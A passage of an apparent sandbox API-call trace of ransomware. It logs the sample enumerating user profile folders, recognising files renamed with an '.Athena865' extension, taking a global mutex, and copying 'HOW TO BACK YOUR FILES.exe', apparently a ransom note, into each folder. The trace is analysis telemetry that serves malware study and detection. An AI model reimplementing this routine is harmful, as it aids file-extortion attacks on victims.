returned 0x1c8e [0049.461] WriteFile (in: hFile=0x17c, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x98, lpOverlapped=0x0) returned 1 [0049.461] CloseHandle (hObject=0x17c) returned 1 [0049.461] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0049.461] CloseHandle (hObject=0x0) returned 0 [0049.461] CloseHandle (hObject=0x0) returned 0 [0049.461] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbcea9ec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x320, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini.Athena865", cAlternateFileName="NTUSER~1.ATH")) returned 1 [0049.461] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.461] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.461] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2=".") returned 1 [0049.462] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="..") returned 1 [0049.462] lstrcmpiW (lpString1="ntuser.ini.Athena865", lpString2="windows") returned -1 [0049.462] lstrcpyW (in: lpString1=0x241e884, lpString2="ntuser.ini.Athena865" | out: lpString1="ntuser.ini.Athena865") returned="ntuser.ini.Athena865" [0049.462] lstrlenW (lpString="ntuser.ini.Athena865") returned 20 [0049.462] lstrlenW (lpString="Athena865") returned 9 [0049.462] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0049.462] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbced0020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbced0020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0049.462] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.462] lstrcmpiW (lpString1="Pictures", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.462] lstrcpyW (in: lpString1=0x241e884, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0049.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50af20 [0049.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x5167e8 [0049.462] lstrcatW (in: lpString1="Pictures", lpString2="\\" | out: lpString1="Pictures\\") returned="Pictures\\" [0049.462] lstrcatW (in: lpString1="Pictures\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Pictures\\HOW TO BACK YOUR FILES.exe") returned="Pictures\\HOW TO BACK YOUR FILES.exe" [0049.462] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.462] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0049.462] lstrcmpiW (lpString1="PrintHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.462] lstrcmpiW (lpString1="PrintHood", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.462] lstrcpyW (in: lpString1=0x241e884, lpString2="PrintHood" | out: lpString1="PrintHood") returned="PrintHood" [0049.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50af38 [0049.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x516840 [0049.463] lstrcatW (in: lpString1="PrintHood", lpString2="\\" | out: lpString1="PrintHood\\") returned="PrintHood\\" [0049.463] lstrcatW (in: lpString1="PrintHood\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PrintHood\\HOW TO BACK YOUR FILES.exe") returned="PrintHood\\HOW TO BACK YOUR FILES.exe" [0049.463] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\printhood\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.463] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0049.463] lstrcmpiW (lpString1="Recent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.463] lstrcmpiW (lpString1="Recent", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.463] lstrcpyW (in: lpString1=0x241e884, lpString2="Recent" | out: lpString1="Recent") returned="Recent" [0049.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50af50 [0049.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516898 [0049.463] lstrcatW (in: lpString1="Recent", lpString2="\\" | out: lpString1="Recent\\") returned="Recent\\" [0049.463] lstrcatW (in: lpString1="Recent\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Recent\\HOW TO BACK YOUR FILES.exe") returned="Recent\\HOW TO BACK YOUR FILES.exe" [0049.463] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\recent\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0049.464] lstrcmpiW (lpString1="Saved Games", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.464] lstrcmpiW (lpString1="Saved Games", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.464] lstrcpyW (in: lpString1=0x241e884, lpString2="Saved Games" | out: lpString1="Saved Games") returned="Saved Games" [0049.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50af68 [0049.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x52fc20 [0049.464] lstrcatW (in: lpString1="Saved Games", lpString2="\\" | out: lpString1="Saved Games\\") returned="Saved Games\\" [0049.464] lstrcatW (in: lpString1="Saved Games\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Saved Games\\HOW TO BACK YOUR FILES.exe") returned="Saved Games\\HOW TO BACK YOUR FILES.exe" [0049.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.464] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcef6180, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcef6180, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0049.464] lstrcmpiW (lpString1="Searches", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.464] lstrcmpiW (lpString1="Searches", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.464] lstrcpyW (in: lpString1=0x241e884, lpString2="Searches" | out: lpString1="Searches") returned="Searches" [0049.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50af80 [0049.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x5168f0 [0049.464] lstrcatW (in: lpString1="Searches", lpString2="\\" | out: lpString1="Searches\\") returned="Searches\\" [0049.464] lstrcatW (in: lpString1="Searches\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Searches\\HOW TO BACK YOUR FILES.exe") returned="Searches\\HOW TO BACK YOUR FILES.exe" [0049.465] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0049.465] lstrcmpiW (lpString1="SendTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.465] lstrcmpiW (lpString1="SendTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.465] lstrcpyW (in: lpString1=0x241e884, lpString2="SendTo" | out: lpString1="SendTo") returned="SendTo" [0049.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509068 [0049.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x516948 [0049.465] lstrcatW (in: lpString1="SendTo", lpString2="\\" | out: lpString1="SendTo\\") returned="SendTo\\" [0049.465] lstrcatW (in: lpString1="SendTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SendTo\\HOW TO BACK YOUR FILES.exe") returned="SendTo\\HOW TO BACK YOUR FILES.exe" [0049.465] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.465] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0049.465] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.466] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.466] lstrcpyW (in: lpString1=0x241e884, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0049.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50db98 [0049.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x52fc80 [0049.466] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0049.466] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0049.466] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.466] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0049.466] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.466] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.466] lstrcpyW (in: lpString1=0x241e884, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0049.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50afc0 [0049.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x5169a0 [0049.466] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0049.466] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0049.466] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.467] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0049.467] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0049.467] lstrcmpiW (lpString1="Videos", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.467] lstrcpyW (in: lpString1=0x241e884, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0049.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50afd8 [0049.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4a) returned 0x5169f8 [0049.467] lstrcatW (in: lpString1="Videos", lpString2="\\" | out: lpString1="Videos\\") returned="Videos\\" [0049.467] lstrcatW (in: lpString1="Videos\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Videos\\HOW TO BACK YOUR FILES.exe") returned="Videos\\HOW TO BACK YOUR FILES.exe" [0049.467] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.467] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbcf1c2e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0049.467] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0049.467] ReleaseMutex (hMutex=0xec) returned 1 [0049.467] CloseHandle (hObject=0xec) returned 1 [0049.468] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518108 | out: hHeap=0x4f0000) returned 1 [0049.468] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dc40 | out: hHeap=0x4f0000) returned 1 [0049.468] lstrlenW (lpString="C:\\Users\\All Users") returned 18 [0049.468] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C5EF30D197D44FB345F88AE95BF3837A") returned 0xec [0049.468] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0049.468] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users" | out: lpString1="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0049.468] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0049.468] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.468] CreateFileW (lpFileName="C:\\Users\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0049.468] GetLastError () returned 0x0 [0049.468] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0049.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0049.468] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0049.469] CloseHandle (hObject=0xf4) returned 1 [0049.469] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0049.469] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0049.469] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0049.469] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.469] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.469] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.469] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.469] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.469] lstrcpyW (in: lpString1=0x241e86e, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0049.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dc40 [0049.469] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x32) returned 0x529450 [0049.469] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0049.469] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0049.469] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.470] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0049.470] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.470] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.470] lstrcpyW (in: lpString1=0x241e86e, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0049.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50aff0 [0049.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517618 [0049.470] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0049.470] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0049.470] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.470] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0049.470] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.470] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0049.470] lstrcpyW (in: lpString1=0x241e86e, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0049.470] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50b008 [0049.471] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x36) returned 0x529610 [0049.471] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0049.471] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0049.471] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0049.471] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 